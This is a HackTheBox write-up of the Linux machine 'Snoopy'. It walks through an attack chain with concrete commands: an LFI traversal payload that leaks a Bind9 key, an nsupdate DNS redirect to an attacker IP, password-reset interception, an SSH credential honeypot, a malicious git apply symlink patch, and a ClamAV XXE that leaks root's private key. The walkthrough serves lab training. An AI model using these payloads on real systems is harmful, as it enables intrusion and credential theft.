HTB: Snoopy Writeup
Snoopy - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Snoopy |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Snoopy is a Hard Linux box built around a chain of trust failures rather than a single exploit. An LFI on the marketing site’s PDF-download endpoint leaks Bind9’s rndc-key, which grants authenticated dynamic DNS updates. Redirecting mail.snoopy.htb to an attacker-controlled mail server turns Mattermost’s password-reset flow into a credential handout, giving access as sbrown. From inside Mattermost, a custom /server_provision slash command is abused to make the “ops” side of the house SSH into an attacker-controlled honeypot, harvesting cbrown’s real SSH credentials. cbrown has a scoped sudo git apply entitlement that, on git 2.34.1, is vulnerable to a symlink-based arbitrary file write — used to overwrite sbrown’s authorized_keys. Root is obtained via CVE-2023-20052, an XXE in ClamAV’s DMG parser, weaponized against a sudo clamscan --debug entitlement to leak root’s SSH private key straight into the debug log.
TL;DR: LFI → leaked Bind9 rndc-key → DNS takeover of mail.snoopy.htb → intercepted Mattermost password-reset token → sbrown access → Mattermost /server_provision abuse → SSH honeypot captures cbrown creds → cbrown’s restricted sudo git apply (git 2.34.1 symlink write) overwrites sbrown’s authorized_keys → user → CVE-2023-20052 ClamAV DMG XXE via sudo clamscan --debug leaks root’s SSH key → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- snoopy.htbResults: SSH (22), Bind9 DNS (53), and an Nginx front end (80) hosting the SnoopySec marketing site. The web app links to a subdomain that turned out to be the real path in: mm.snoopy.htb, running Mattermost.
Service Enumeration
The main site’s PDF-download feature calls a /download?file= endpoint that echoes the requested filename straight into a file read. That parameter was the entry point for the whole chain.
Vulnerability Assessment
- LFI in
/download?file=— path-traversal filtering only strips a single pass of../, so a payload built from repeated....//sequences survives the sanitizer and still resolves to../../..after the naive strip. This let arbitrary file reads reach Bind9’s config files. - Bind9
named.conf/named.conf.localexposure — leaked therndc-keyused to authorize dynamic DNS updates (allow-update) for thesnoopy.htbzone. - Mattermost password reset abuse — with DNS control over
mail.snoopy.htb, password-reset emails for known usernames (sbrown,cbrownfrom the site’s team page) could be redirected and read.
Initial Foothold
Exploitation Path
1. LFI → Bind9 key disclosure
# LFI bypasses naive '../' stripping via repeated dot-dot-slashcurl "http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf.local"curl "http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf"named.conf.local showed the snoopy.htb zone permits dynamic updates authenticated by rndc-key; named.conf contained that key’s HMAC-SHA256 secret.
2. DNS takeover via nsupdate
With the leaked key, dynamic DNS updates for the zone are possible — this is exactly what allow-update { key "rndc-key"; } is designed to permit, just not for an attacker holding the key:
nsupdate -k rndc.key> server snoopy.htb> zone snoopy.htb> update add mail.snoopy.htb. 60 A <ATTACKER_IP>> send> quit3. Mail interception → Mattermost account takeover
With mail.snoopy.htb now resolving to the attacker box, standing up a mail server (Postfix) to actually accept SMTP for that domain turns the “email will be sent if the account exists” password-reset flow into a live credential channel. Triggering a reset for sbrown on Mattermost and reading the intercepted email surfaced the reset token, used against Mattermost’s reset_password_complete endpoint to set a new password and log in as sbrown.
4. Mattermost /server_provision → SSH honeypot
Once inside as sbrown, a channel referenced a custom /server_provision slash command used by staff to provision remote servers. Rather than guess the form fields blind, the request/response for the provisioning dialog was captured over the underlying websocket connection to recover the exact field schema (OS selector, port, target IP) before submitting.
Submitting the form with the target IP pointed at an attacker-controlled host causes the “ops” side of the workflow to open an SSH connection to that host as cbrown. Standing up sshesame as an SSH honeypot on the port the form expects captures the real credentials on connection:
git clone https://github.com/jaksi/sshesamecd sshesame && go build# listen on the port the provisioning workflow connects tosed -i 's/127.0.0.1:2022/0.0.0.0:2222/' sshesame.yaml./sshesame -config sshesame.yamlResubmitting /server_provision against the honeypot yielded cbrown’s real SSH password, used to authenticate directly to the box as cbrown.
Privilege Escalation
cbrown → sbrown (user.txt)
cbrown had a scoped sudo entitlement to run git apply as sbrown:
sudo -l# (sudo) NOPASSWD: sbrown ALL : /usr/bin/git apply ...git --version# git version 2.34.1git 2.34.1 predates the fix for the git apply arbitrary-file-write-via-symlink issue (CVE-2023-23946, fixed in git 2.39.2): a crafted patch can rename a tracked symlink and then “create” a file through it, so git apply ends up writing attacker-controlled content to whatever the symlink target resolves to — including paths outside the working tree.
# stage a symlink pointing at sbrown's .ssh directorycd /dev/shm && mkdir rce && cd rce && git init .ln -s /home/sbrown/.ssh symlinkgit add symlinkgit commit -m "add symlink"
# patch renames the symlink then "creates" authorized_keys through it,# landing our own public key inside sbrown's real .ssh directorycat > patch <<-'EOF'diff --git a/symlink b/renamed-symlinksimilarity index 100%rename from symlinkrename to renamed-symlinkdiff --git a/dev/null b/renamed-symlink/authorized_keysnew file mode 100644--- /dev/null+++ b/renamed-symlink/authorized_keys@@ -0,0 +1 @@+ssh-ed25519 AAAA... attacker@boxEOF
sudo -u sbrown /usr/bin/git apply -v patchssh sbrown@snoopy.htbuser.txt retrieved as sbrown.
sbrown → root (root.txt)
sbrown had a sudo entitlement to run clamscan. ClamAV’s DMG parser is affected by CVE-2023-20052, an XML External Entity (XXE) injection: DMG files carry an embedded XML resource-fork property list, and ClamAV’s parser processes that XML without disabling external entity resolution. A DMG crafted with a malicious <!DOCTYPE>/entity declaration causes ClamAV to read an arbitrary file on disk and echo it back in --debug output.
The environment’s libdmg-hfsplus build was already pre-patched with the XXE payload wired into the DMG resource-fork template (pointing the external entity at /root/.ssh/id_rsa), so building a malicious DMG and scanning it was sufficient to trigger the leak:
sudo clamscan --debug /home/sbrown/scanfiles/c.dmg# debug output includes the contents of /root/.ssh/id_rsa via the XXE entitychmod 600 root_id_rsassh -i root_id_rsa root@snoopy.htbroot.txt retrieved as root.
Environment note: the jump box used for this solve had /tmp at 100% capacity, which silently broke zsh heredocs and any tool relying on temp files (including parts of the DMG-build toolchain). Exporting TMPDIR=/dev/shm and staging all working files there worked around it — worth checking df -h /tmp early if heredocs or compiles fail with no obvious error.
Attack Chain Summary
LFI on /download?file= (dot-dot-slash bypass) → leak Bind9 rndc-key from named.conf → nsupdate DNS takeover of mail.snoopy.htb → Postfix captures Mattermost password-reset email for sbrown → account takeover as sbrown → Mattermost /server_provision (websocket-sniffed schema) targets attacker box → sshesame honeypot captures cbrown's SSH credentials → cbrown's sudo git apply (git 2.34.1 / CVE-2023-23946 symlink write) → overwrite sbrown's authorized_keys → SSH as sbrown → user.txt → sbrown's sudo clamscan --debug + CVE-2023-20052 DMG XXE → leaks root's SSH private key → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl/Burp | LFI exploitation against /download?file= |
nsupdate | Authenticated dynamic DNS update using leaked rndc-key |
| Postfix | Stood up to receive intercepted Mattermost password-reset mail |
| Browser DevTools (websocket) | Recovered /server_provision form field schema |
sshesame | SSH honeypot to capture cbrown’s credentials |
git | Symlink-based arbitrary file write via git apply (CVE-2023-23946) |
genisoimage / libdmg-hfsplus | Built the malicious DMG carrying the XXE payload |
clamscan | Triggered CVE-2023-20052 to leak root’s SSH key |
Key Learnings
Techniques Practiced
- LFI path-traversal filter bypass via non-recursive sanitization
- Abusing leaked DNS TSIG/rndc keys for authenticated zone takeover
- Turning a password-reset flow into a credential leak via mail interception
- Recovering hidden application form schemas via websocket traffic inspection
- SSH honeypotting to harvest credentials from an internal automation workflow
- Git symlink arbitrary-file-write privilege escalation via scoped
sudo git apply - XXE injection through a non-XML-looking file format (DMG) to leak files via a scanner’s debug output
Lessons Learned
- Config files leaked via LFI are worth pursuing even after
/etc/passwdlooks unhelpful — service-specific configs (Bind9 keys, in this case) are often the real prize. - A scoped
sudoentitlement is only as safe as the exact binary version allowed —git applyat 2.34.1 vs. the patched 2.39.2 was the entire difference between “restricted” and “arbitrary write as another user.” - Debug/verbose flags on privileged utilities (
clamscan --debug) can turn an otherwise-contained parser bug into a direct file-read primitive. - When a jump box’s
/tmpfills up, failures show up as silent breakage (heredocs, temp-file-dependent tools) rather than clear errors — check disk space before deep-diving into a tool’s “broken” behavior.
Proof of Ownership
User Flag (sbrown): <redacted>Root Flag: <redacted>References
- TheCyberGeek, “Snoopy” HackTheBox Official Writeup, Document No. D23.100.237 — used for CVE identification and conceptual explanation of the Bind9 key abuse, git apply symlink mechanics, and the ClamAV DMG XXE payload construction.